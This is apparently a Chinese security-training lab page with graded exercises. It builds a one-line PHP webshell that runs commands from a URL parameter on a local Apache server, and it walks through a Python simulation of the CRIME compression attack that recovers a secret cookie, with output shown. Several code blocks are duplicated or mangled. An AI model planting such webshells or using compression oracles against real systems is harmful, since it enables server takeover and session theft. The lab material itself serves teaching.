web攻击

python 复制代码

#!/usr/bin/python3
import string
import zlib
import sys
import random
  
charset = string.letters + string.digits
  
COOKIE = ''.join(random.choice(charset) for x in range(30))
  
HEADERS = ("POST / HTTP/1.1\r\n"
           "Host: thebankserver.com\r\n"
           "Connection: keep-alive\r\n"
           "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"
           "Accept: */*\r\n"
           "Referer: https://thebankserver.com/\r\n"
           "Cookie: secret="+COOKIE+"\r\n"
           "Accept-Encoding: gzip,deflate,sdch\r\n"
           "Accept-Language: en-US,en;q=0.8\r\n"
           "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n"
           "\r\n")
BODY =    ("POST / HTTP/1.1\r\n"
           "Host: thebankserver.com\r\n"
           "Connection: keep-alive\r\n"
           "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"
           "Accept: */*\r\n"
           "Referer: https://thebankserver.com/\r\n"
           "Cookie: secret=")
cookie = ""
  
def compress(data):
  
    c = zlib.compressobj()
    return c.compress(data) + c.flush(zlib.Z_SYNC_FLUSH)
def getposset(perchar,chars):
    posset = []
    baselen = len(compress(HEADERS+perchar))
    for i in chars:
        t = len(compress(HEADERS+ perchar+i))
        if (t<=baselen):
            posset += i
    return posset
def doguess():
    global cookie
    while len(cookie)<30:
        posset = getposset(BODY+cookie,charset)
        trun = 1
        tem_posset = posset
        while 1<len(posset):
            tem_body = BODY[trun:]
            posset = getposset(tem_body+cookie,tem_posset)
            trun = trun +1
        if len(posset)==0:
            return False
        cookie += posset[0]
        print (posset[0])
        return True
  
while BODY.find("\r\n")>=0:
    if not doguess():
        print ("(-)Changebody")
        BODY = BODY[BODY.find("\r\n") + 2:]
print ("(+)orign  cookie"+COOKIE)
print ("(+)Gotten cookie"+cookie)

复制代码

文件存在
#!/usr/bin/python3 importstring importzlib importsys importrandom charset=string.letters+string.digits COOKIE=''.join(random.choice(charset)forxinrange(30)) HEADERS=("POST/HTTP/1.1\r\n" "Host:thebankserver.com\r\n" "Connection:keep-alive\r\n" "User-Agent:Mozilla/5.0(WindowsNT6.1;WOW64)AppleWebKit/537.1(KHTML,likeGecko)Chrome/22.0.1207.1Safari/537.1\r\n" "Accept:*/*\r\n" "Referer:https://thebankserver.com/\r\n" "Cookie:secret="+COOKIE+"\r\n" "Accept-Encoding:gzip,deflate,sdch\r\n" "Accept-Language:en-US,en;q=0.8\r\n" "Accept-Charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n" "\r\n") BODY=("POST/HTTP/1.1\r\n" "Host:thebankserver.com\r\n" "Connection:keep-alive\r\n" "User-Agent:Mozilla/5.0(WindowsNT6.1;WOW64)AppleWebKit/537.1(KHTML,likeGecko)Chrome/22.0.1207.1Safari/537.1\r\n" "Accept:*/*\r\n" "Referer:https://thebankserver.com/\r\n" "Cookie:secret=") cookie="" defcompress(data): c=zlib.compressobj() returnc.compress(data)+c.flush(zlib.Z_SYNC_FLUSH) defgetposset(perchar,chars): posset=[] baselen=len(compress(HEADERS+perchar)) foriinchars: t=len(compress(HEADERS+perchar+i)) if(t<=baselen): posset+=i returnposset defdoguess(): globalcookie whilelen(cookie)<30: posset=getposset(BODY+cookie,charset) trun=1 tem_posset=posset while1<len(posset): tem_body=BODY[trun:] posset=getposset(tem_body+cookie,tem_posset) trun=trun+1 iflen(posset)==0: returnFalse cookie+=posset[0] print(posset[0]) returnTrue whileBODY.find("\r\n")>=0: ifnotdoguess(): print("(-)Changebody") BODY=BODY[BODY.find("\r\n")+2:] print("(+)origncookie"+COOKIE) print("(+)Gottencookie"+cookie)
操作正确，评测通过!

#!/usr/bin/python3
import string
import zlib
import sys
import random
charset = string.letters + string.digits
COOKIE = ''.join(random.choice(charset) for x in range(30))
HEADERS = ("POST / HTTP/1.1\r\n"
"Host: thebankserver.com\r\n"
"Connection: keep-alive\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"
"Accept: */*\r\n"
"Referer: https://thebankserver.com/\r\n"
"Cookie: secret="+COOKIE+"\r\n"
"Accept-Encoding: gzip,deflate,sdch\r\n"
"Accept-Language: en-US,en;q=0.8\r\n"
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n"
"\r\n")
BODY = ("POST / HTTP/1.1\r\n"
"Host: thebankserver.com\r\n"
"Connection: keep-alive\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"
"Accept: */*\r\n"
"Referer: https://thebankserver.com/\r\n"
"Cookie: secret=")
cookie = ""
def compress(data):
c = zlib.compressobj()
return c.compress(data) + c.flush(zlib.Z_SYNC_FLUSH)
def getposset(perchar,chars):
posset = []
baselen = len(compress(HEADERS+perchar))
for i in chars:
t = len(compress(HEADERS+ perchar+i))
if (t<=baselen):
posset += i
return posset
def doguess():
global cookie
while len(cookie)<30:
posset = getposset(BODY+cookie,charset)
trun = 1
tem_posset = posset
while 1<len(posset):
tem_body = BODY[trun:]
posset = getposset(tem_body+cookie,tem_posset)
trun = trun +1
if len(posset)==0:
return False
cookie += posset[0]
print (posset[0])
return True
while BODY.find("\r\n")>=0:
if not doguess():
print ("(-)Changebody")
BODY = BODY[BODY.find("\r\n") + 2:]
print ("(+)orign cookie"+COOKIE)
print ("(+)Gotten cookie"+cookie)

复制代码

任务描述

本关任务：了解Webshell

实验步骤

完成Webshell实验

实验步骤一，安装http服务器

更新软件源

复制代码

# apt-get update

安装apache http服务

复制代码

# apt-get install apache2

实验步骤二，安装php

复制代码

# apt-get install php
# apt-get install libapache2-mod-php
# vim /etc/php/7.0/apache2/php.ini
allow_url_include = On
# echo "ServerName localhost:80" >> /etc/apache2/apache2.conf

实验步骤三，创建一个简单的webshell界面

复制代码

# cd /root
# touch test.php
# echo '<?php system($_GET['cmd']);?>' >> test.php

实验步骤四，将页面复制到Web服务器当中

复制代码

# cp test.php /var/www/html
# service apache2 restart

实验步骤五，使用浏览器进行浏览在网址栏输入：

复制代码

http://127.0.0.1/test.php?cmd=ls

任务描述

本关任务：了解HTTPS攻击的方法

实验步骤

完成HTTPS攻击实验

Python利用CRIME思路验证攻击可行性

实验步骤一，进入Python交互模式：

复制代码

# cd /root
# python3
Python 3.6.9 (default, Jul 17 2020, 12:50:27)
[GCC 8.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>

实验步骤二，导入模块：

复制代码

>>> import string
>>> import zlib
>>> import sys
>>> import random

实验步骤三，定义字符集：

复制代码

>>> charset = string.ascii_letters + string.digits

实验步骤四，定义COOKIE：

复制代码

>>> COOKIE = ''.join(random.choice(charset) for x in range(30))

实验步骤五，定义头部信息：

复制代码

HEADERS = ("POST / HTTP/1.1\r\n"

"Host: thebankserver.com\r\n"

"Connection: keep-alive\r\n"

"User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"

"Accept: */*\r\n"

"Referer: https://thebankserver.com/\\r\\n"

"Cookie: secret="+COOKIE+"\r\n"

"Accept-Encoding: gzip,deflate,sdch\r\n"

"Accept-Language: en-US,en;q=0.8\r\n"

"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n"

"\r\n")

实验步骤六，定义BODY：

复制代码

、

实验步骤七，定义cookie：

BODY = ("POST / HTTP/1.1\r\n"

"Host: thebankserver.com\r\n"

"Connection: keep-alive\r\n"

"User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"

"Accept: */*\r\n"

"Referer: https://thebankserver.com/\\r\\n"

"Cookie: secret=")

>>> cookie = ""

实验步骤八，定义猜测方法：

复制代码

>>> def compress(data):
...
... c = zlib.compressobj()
... return c.compress(data) + c.flush(zlib.Z_SYNC_FLUSH)
>>> def getposset(perchar,chars):
... posset = []
... baselen = len(compress(HEADERS+perchar))
... for i in chars:
... t = len(compress(HEADERS+ perchar+i))
... if (t<=baselen):
... posset += i
... return posset
>>> def doguess():
... global cookie
... while len(cookie)<30:
... posset = getposset(BODY+cookie,charset)
... trun = 1
... tem_posset = posset
... while 1<len(posset):
... tem_body = BODY[trun:]
... posset = getposset(tem_body+cookie,tem_posset)
... trun = trun +1
... if len(posset)==0:
... return False
... cookie += posset[0]
... print(posset[0])
... return True

实验步骤九，猜测循环体：

复制代码

>>> while BODY.find("\r\n")>=0:
... if not doguess():
... print ("(-)Changebody")
... BODY = BODY[BODY.find("\r\n") + 2:]

实验步骤十，编写输入代码：

复制代码

>>> print("(+)orign cookie"+COOKIE)
>>> print("(+)Gotten cookie"+cookie)

实验步骤十一，将上述步骤编写为执行文件：

输入命令：

# vi /root/CRIME.py

输入内容：

复制代码

#!/usr/bin/python3
import string
import zlib
import sys
import random
charset = string.letters + string.digits
COOKIE = ''.join(random.choice(charset) for x in range(30))
HEADERS = ("POST / HTTP/1.1\r\n"
"Host: thebankserver.com\r\n"
"Connection: keep-alive\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"
"Accept: */*\r\n"
"Referer: https://thebankserver.com/\r\n"
"Cookie: secret="+COOKIE+"\r\n"
"Accept-Encoding: gzip,deflate,sdch\r\n"
"Accept-Language: en-US,en;q=0.8\r\n"
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n"
"\r\n")
BODY = ("POST / HTTP/1.1\r\n"
"Host: thebankserver.com\r\n"
"Connection: keep-alive\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"
"Accept: */*\r\n"
"Referer: https://thebankserver.com/\r\n"
"Cookie: secret=")
cookie = ""
def compress(data):
c = zlib.compressobj()
return c.compress(data) + c.flush(zlib.Z_SYNC_FLUSH)
def getposset(perchar,chars):
posset = []
baselen = len(compress(HEADERS+perchar))
for i in chars:
t = len(compress(HEADERS+ perchar+i))
if (t<=baselen):
posset += i
return posset
def doguess():
global cookie
while len(cookie)<30:
posset = getposset(BODY+cookie,charset)
trun = 1
tem_posset = posset
while 1<len(posset):
tem_body = BODY[trun:]
posset = getposset(tem_body+cookie,tem_posset)
trun = trun +1
if len(posset)==0:
return False
cookie += posset[0]
print (posset[0])
return True
while BODY.find("\r\n")>=0:
if not doguess():
print ("(-)Changebody")
BODY = BODY[BODY.find("\r\n") + 2:]
print ("(+)orign cookie"+COOKIE)
print ("(+)Gotten cookie"+cookie)

复制代码

# python CRIME.py
B
r
Z
c
M
2
l
4
s
7
(-)Changebody
w
F
9
K
6
8
E
w
E
P
t
W
a
U
(-)Changebody
i
E
N
9
r
1
(-)Changebody
(-)Changebody
(-)Changebody
(-)Changebody
(+)orign cookieBrZcM2l4s7wF9K68EwEPtWaUiEN9r1
(+)Gotten cookieBrZcM2l4s7wF9K68EwEPtWaUiEN9r1

将结果保存到文件中：

复制代码

# python CRIME.py > /root/HTTPS.txt

任务：

完成实验。

开始你的任务吧，祝你成功！

任务描述

相关知识

Webshell

实验步骤

任务描述

相关知识

HTTPS攻击

常见HTTPS攻击

实验步骤